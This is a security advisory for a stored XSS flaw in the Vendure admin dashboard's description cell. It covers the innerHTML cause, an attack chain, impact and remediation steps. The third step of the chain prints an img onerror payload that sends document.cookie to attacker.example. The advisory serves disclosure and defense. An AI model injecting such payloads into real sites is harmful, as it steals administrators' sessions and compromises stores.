Stored XSS in Vendure Admin Dashboard via Unsafe HTML Stripping

The Vendure e-commerce framework contains a high-severity stored Cross-Site Scripting (XSS) vulnerability, tracked as CVE-2026-63459, residing in the @vendure/dashboard package. The flaw exists within the RichTextDescriptionCell component, which is responsible for rendering entity descriptions in various administrative list views, including products, collections, promotions, payment methods, and shipping methods.

The application attempts to strip HTML from user-supplied descriptions by assigning raw string input to the innerHTML property of a detached div element. Because browsers parse and execute active markup within innerHTML - even in detached nodes - payloads such as <img> tags with onerror event handlers trigger immediately upon assignment. This enables a lower-privileged channel-scoped administrator to inject malicious scripts that execute with the permissions of any administrator who views the list containing the payload. Successful exploitation leads to session hijacking, token exfiltration, or the unauthorized performance of administrative actions within the dashboard. The vulnerability affects all versions of @vendure/dashboard prior to 3.6.5.

Attack Chain

1. Attacker gains access to an administrator account with at least catalog, promotion, or settings write permissions.
2. Attacker modifies a product, collection, or promotion entity description via the administrative API.
3. Attacker embeds a malicious payload within the description field using active markup, such as <img src=x onerror="fetch('https://attacker.example/'+document.cookie)">.
4. The application stores this malicious description string in the database as part of the entity configuration.
5. A high-privileged administrator (e.g., a superadmin) navigates to the administrative list view (e.g., Products, Promotions) in the Vendure dashboard.
6. The RichTextDescriptionCell component retrieves the malicious description and assigns it to a div element via innerHTML during the React rendering cycle.
7. The browser parses the <img> tag, fails to find the image source, and immediately executes the onerror JavaScript payload in the victim administrator's browser session.
8. The script exfiltrates the victim's session token or performs unauthorized actions, achieving account or store compromise.

Impact

Successful exploitation allows for the compromise of high-privileged administrative accounts by lower-privileged administrators. This results in the loss of integrity and confidentiality for the e-commerce store, including potential unauthorized changes to products, pricing, or system configurations, and complete account takeover.

Recommendation

• Upgrade Vendure to version 3.6.5 or later immediately to resolve the vulnerable RichTextDescriptionCell implementation.
• Audit administrative activity logs for unexpected PATCH or POST requests to product, collection, or promotion endpoints containing HTML tags or script-like patterns.
• Implement Content Security Policy (CSP) headers to restrict unauthorized script execution and fetch requests within the administrative dashboard interface.
• If immediate patching is not possible, restrict administrative write permissions for description fields to the minimum number of trusted users.